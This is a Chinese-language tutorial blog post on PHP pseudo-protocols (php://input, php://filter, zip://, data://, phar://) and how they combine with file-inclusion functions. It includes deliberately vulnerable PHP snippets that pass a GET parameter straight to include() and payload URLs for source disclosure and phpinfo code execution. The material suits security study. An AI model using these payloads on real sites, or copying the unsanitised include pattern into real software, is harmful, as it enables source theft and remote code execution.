PHP伪协议基本原理介绍
作者:隐形卟 发布时间:2023-05-30 00:24:11
前言
引用一张比较清晰易懂的图
php伪协议是php自己支持的一种协议与封装协议,简单来说就是php定义的一种特殊访问资源的方法。
常见的php伪协议
php://input
php://input 是个可以访问请求的原始数据的只读流,获取POST请求数据的协议
当enctype=”multipart/form-data” 的时候 php://input 是无效的。
要使php://input 成功使用还需要配置php.ini 中的 allow_url_include设置为On
案例代码
php
<?php
@include($_GET["file"]);
?>
构造执行的代码,输出结果
php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
在利用上很多都是与包含函数结合使用,读入或者输出获取文件源码然后编码让其不执行从而输出
php://filter 的使用:如
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.phpphp://filter 伪协议组成:
read=<读链的筛选列表>
resource=<要过滤的数据流>
write=<写链的筛选列表>php://filter/read=处理方式(base64编码,rot13等等)/resource=要读取的文件
read 对应要设置的过滤器:
常见的过滤器分字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
其中convert.base64-encode ,convert.base64-decode都属于 转换过滤器
例
<?php
$a=($_GET["file"]);
echo(file_get_contents($a));//获取文件内容
?>
访问输出base64编码后的内容
zip://与bzip2://与zlib://协议
zip:// 等属于压缩流的协议,通过直接压缩普通文件为zip文件,再通过zip:// 协议读取,可以直接执行php代码。压缩后的zip文件可以随意修改后缀也不影响zip://协议读取。(注意是如phpinfo.txt直接压缩为zip,而不是文件夹压缩zip)
例:
<?php
$a=($_GET["file"]);
include($a);
?>
压缩及协议访问格式:
压缩文件为.zip后缀
zip://绝对路径/phpinfo.zip%23phpinfo.php
压缩文件为.bz2后缀
compress.bzip2://绝对路径/phpinfo.zip/phpinfo.php
压缩文件为.gz后缀
compress.zlib://绝对路径/phpinfo.zip/phpinfo.php
zip://访问
data://
data://协议与php://input 有很点相似的地方。他们都可以通过请求提交的php代码数据配合文件包含函数可以达到代码执行效果,data:// 的成功执行需要php.ini设置allow_url_include 与allow_url_open都为On。
data://协议的格式是: data://数据流封装器,相应格式数据
常见的用法为
data://,<?php%20phpinfo();?>
data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
例:
<?php
$a=($_GET["file"]);
include($a);
?>
构造data:// 访问
phar://
phar://伪协议在前面phar反序列化的时候学习过,phar也可以对zip格式压缩包进行访问解析。
格式为:phar://绝对路径\phpinfo.zip\phpinfo.php
来源:https://blog.csdn.net/qq_42077227/article/details/127760256
猜你喜欢
- 简介你手中的这本《JavaScript王者归来》不仅是一本传播知识的书,更是一本求道的书。本书分为五个部分循序渐进地与读者讨论了JavaSc
- asp 在线备份 恢复 sql server 数据库,对于远程没有提供sql server远程连接或打包下载的朋友是个临时解决方法,对于大数
- 最近常有厦门的客户通过网站上的联系方式加我QQ,询问网站改版的情况。几乎每日都要针对客户网站存在的问题做一番分析,然后客户以价格等其他因素结
- 今年4月,我在宿舍憋出一个拖拽翻页效果原本是为自己的博客网站设计的,周二产生的灵感,周三周四逃课两天算坐标,周五回家,到傍晚才算写出了第一版
- 网上考试设计思路是怎样的?为了运行这个应用程序,我们需要在global.asa文件里进行设置数据库的连接。global.asa <&n
- <!--#include file="strcheck.asp"--> <% '笔者在写程序的
- 来自巴西的设计师Roger Oddone的作品,通过此作品你可以了解到logo的设计的一些思路。
- 本文介绍了使用Application来统计访问网站的在线人数的方法,并介绍了使用Application时应该注意的事项。首先讲明白,用ASP
- 301和302 Http状态有啥区别?301,302 都是HTTP状态的编码,都代表着某个URL发生了转移,不同之处在于:301 redir
- 下面是asp代码实现列出sql数据库中存储过程的功能,可自行添加其它功能:< HTML >< 
- 一、输出指令ASP的输出指令<% =expression %>显示表达式的值。这个输出指令等同于使用Resp
- IIS设置首先打开IIS就不用说了巴第2步右建默认网站属性第3步主目录选项卡点击第3步的配置按钮弹出窗口的设置,至此IIS设置完毕任意编辑器
- ERROR 2003:Can't connect to MySQL server on 'localhost' (1
- Q: 不知xml和html有什么区别?它们不同在哪? A: 关于XML和HTML区别请参考: http://www.w3c.org/Mark
- 微软昨天在其2009年专业开发者大会上展示了下一个版本的Internet Explorer浏览器IE9。尽管只是一个早期版本,IE开发团队还
- 我们可用一个函数来实现小数转分数,不过只能转换能够整除的分数:Public Function XtoF(str 
- 在绝大多数查询中,MySQL使用哪种校对规则进行比较是很显然的。例如,在下列情况中,校对规则明显的是“列x的列校对规则”:SELECT&nb
- 如何清除Vbscript惹出来的中文乱码? <script language=vbscript runat=s
- 查询速度慢的原因很多,常见如下几种:1、没有索引或者没有用到索引(这是查询慢最常见的问题,是程序设计的缺陷)2、I/O吞吐量小,形成了瓶颈效
- 1.由于设置了slave的配置信息,mysql在数据库data目录下生成master.info,所以如有要修改相关slave的配置要先删除该